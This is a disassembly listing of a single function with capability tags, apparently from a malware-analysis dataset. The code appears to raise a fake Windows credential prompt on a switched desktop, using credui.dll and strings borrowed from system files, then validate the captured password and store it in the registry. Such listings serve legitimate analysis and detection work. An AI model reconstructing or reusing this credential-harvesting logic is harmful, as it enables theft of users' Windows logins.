Function at 0x10001220
Capabilities:
Get common file path
Resolve function by parsing pe exports
Set registry value

Disassembly:
mov eax, dword [0x10012388]
mov ecx, dword [0x100123e4]
sub esp, 0x6a0
push 0x1000e604
push eax
push ecx
call fcn.10001100
add esp, 0xc
test eax, eax
jne 0x10001750
push esi
push edi
xor edi, edi
cmp dword [esp + 0x6ac], edi
je 0x1000126e
mov edx, dword [0x100123c4]
push edx
call dword [sym.imp.USER32.dll_SwitchDesktop]
mov eax, dword [0x100123c4]
push eax
call dword [sym.imp.USER32.dll_SetThreadDesktop]
push str.credui.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
mov dword [esp + 0x40], esi
cmp esi, edi
je 0x10001721
lea edx, [esp + 0x38]
push 0xff000000
mov dword [esp + 0x78], edx
lea ecx, [esp + 0x38]
push 4
lea edx, [esp + 0x60]
mov dword [esp + 0x6c], ecx
push edx
lea eax, [esp + 0x3c]
lea ecx, [esp + 0x1c]
push esi
mov dword [esp + 0x44], edi
mov dword [esp + 0x48], edi
mov dword [esp + 0x40], edi
mov dword [esp + 0x20], edi
mov dword [esp + 0x68], 0x24bec39d
mov dword [esp + 0x6c], edi
mov dword [esp + 0x70], edi
mov dword [esp + 0x78], 0xb4bb2c26
mov dword [esp + 0x7c], edi
mov dword [esp + 0x80], edi
mov dword [esp + 0x88], 0x4b177521
mov dword [esp + 0x8c], edi
mov dword [esp + 0x90], edi
mov dword [esp + 0x94], eax
mov dword [esp + 0x98], 0xc07eb83e
mov dword [esp + 0x9c], edi
mov dword [esp + 0xa0], edi
mov dword [esp + 0xa4], ecx
call fcn.1000a2e0
add esp, 0x10
test eax, eax
je 0x1000171a
push ebp
push 0x2000
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebp, eax
cmp ebp, edi
je 0x10001719
push ebx
push 0x14
lea eax, [esp + 0x50]
push eax
call sub.NTDLL.dll_RtlZeroMemory
push 0x104
lea ecx, [esp + 0xa4]
push ecx
mov dword [esp + 0x54], 0x14
mov dword [esp + 0x58], edi
mov dword [esp + 0x2c], 0x202
mov dword [esp + 0x3c], 0x101
lea esi, [ebp + 0xcae]
lea ebx, [ebp + 0xdb0]
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea edx, [esp + 0xa0]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashW]
mov eax, str.rstrui.exe
cmp dword [esp + 0x6b4], edi
je 0x100013b7
mov eax, str.wuaueng.dll
push eax
lea eax, [esp + 0xa4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x20
push edi
lea ecx, [esp + 0xa8]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x100014ce
cmp dword [esp + 0x6b4], 0
push 0x80
push esi
jne 0x10001445
push 0xab
push edi
call dword [sym.imp.USER32.dll_LoadStringW]
test eax, eax
jle 0x10001429
mov edx, 0x80
sub edx, eax
push edx
mov dword [esi + eax*2], 0x20002e
lea eax, [esi + eax*2 + 4]
push eax
push 0x91
push edi
call dword [sym.imp.USER32.dll_LoadStringW]
test eax, eax
jle 0x10001429
mov dword [esp + 0x58], esi
push 0x926
push ebx
push 0xd2
push edi
call dword [sym.imp.USER32.dll_LoadStringW]
test eax, eax
jle 0x100014c7
jmp 0x100014c3
push 0x69
push edi
call dword [sym.imp.USER32.dll_LoadStringW]
test eax, eax
jle 0x10001456
mov dword [esp + 0x58], esi
push 0
push 0x926
push ebx
push 0
push 0xb0000028
push edi
push 0xaff
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
mov esi, eax
mov ecx, 0x926
sub ecx, esi
push ecx
lea edx, [ebx + esi*2]
push edx
push 0x184
push edi
call dword [sym.imp.USER32.dll_LoadStringW]
add esi, eax
lea eax, [ebx + esi*2]
push str._r_n_r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
push 0
add esi, eax
mov ecx, 0x926
sub ecx, esi
push ecx
lea edx, [ebx + esi*2]
push edx
push 0
push 0x1109
push 0
push 0x12ff
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
mov dword [esp + 0x54], ebx
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [0x100123e4]
mov ecx, dword [0x10012388]
push eax
push ecx
xor ebx, ebx
lea edx, [esp + 0x2b4]
push str._s_s
push edx
xor esi, esi
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x54], ebx
mov dword [esp + 0x20], ebx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [esp + 0x10]
push eax
push ebx
push 0x1000e604
lea ecx, [esp + 0x2b8]
push ecx
push ebx
call dword [esp + 0x2c]
test eax, eax
jne 0x10001703
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x10001703
mov edx, dword [esp + 0x10]
push edx
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov dword [esp + 0x30], edi
cmp edi, ebx
je 0x10001703
lea eax, [esp + 0x10]
push eax
push edi
push 0x1000e604
lea ecx, [esp + 0x2b8]
push ecx
push ebx
call dword [esp + 0x2c]
test eax, eax
je 0x100016f4
lea ebx, [ebx]
push 0x20
lea edx, [esp + 0x48]
push edx
mov edx, dword [esp + 0x18]
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x20]
push ecx
push edx
push edi
lea eax, [esp + 0x44]
push eax
push esi
lea ecx, [esp + 0x6c]
push ecx
mov dword [esp + 0x4c], 1
mov dword [esp + 0x50], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x40], ebx
mov dword [esp + 0x68], ebx
call dword [esp + 0x60]
test eax, eax
jne 0x1000175b
push 0x404
push ebp
mov dword [esp + 0x2c], 0x202
call sub.NTDLL.dll_RtlZeroMemory
push 0x202
lea edi, [ebp + 0x404]
push edi
mov dword [esp + 0x3c], 0x101
call sub.NTDLL.dll_RtlZeroMemory
mov ecx, dword [esp + 0x1c]
lea edx, [esp + 0x34]
push edx
mov edx, dword [esp + 0x18]
push edi
push ebx
push ebx
lea eax, [esp + 0x34]
push eax
push ebp
push ecx
push edx
push 1
call dword [esp + 0x64]
test eax, eax
je 0x100016db
push 0x404
lea ebx, [ebp + 0x606]
push ebx
call sub.NTDLL.dll_RtlZeroMemory
push 0x2a4
lea eax, [ebp + 0xa0a]
push eax
call sub.NTDLL.dll_RtlZeroMemory
push 0x152
lea eax, [ebp + 0xa0a]
push eax
push 0x202
push ebx
push ebp
call dword [esp + 0x4c]
test eax, eax
jne 0x100016d9
push edi
lea eax, [ebp + 0xa0a]
push eax
push ebx
call fcn.10001100
add esp, 0xc
test eax, eax
je 0x100016cc
mov ecx, dword [0x1001237c]
push 0
lea eax, [esp + 0x24]
push eax
push 0
push 0xf013f
push 0
push 0
push 0
push ecx
push reloc.WS2_32.dll_closesocket
mov dword [esp + 0x44], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x100016d9
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, dword [esp + 0x20]
add eax, eax
push eax
push edi
push 1
push 0
push 0x1000eb98
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [esp + 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x100016d9
mov dword [esp + 0x28], 0
mov esi, 0x52e
xor ebx, ebx
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov edi, dword [esp + 0x30]
cmp dword [esp + 0x28], ebx
je 0x10001580
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, dword [esp + 0x48]
xor edi, edi
pop ebx
pop ebp
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [esp + 0x6ac], edi
pop edi
pop esi
je 0x10001750
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [0x100123cc]
push edx
call dword [sym.imp.USER32.dll_SwitchDesktop]
mov eax, dword [0x100123cc]
push eax
call dword [sym.imp.USER32.dll_SetThreadDesktop]
xor eax, eax
add esp, 0x6a0
ret 4
mov esi, dword [esp + 0x6b4]
neg esi
sbb esi, esi
and esi, 0xfffff693
push 0x1f4
add esi, 0xfdb
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10001580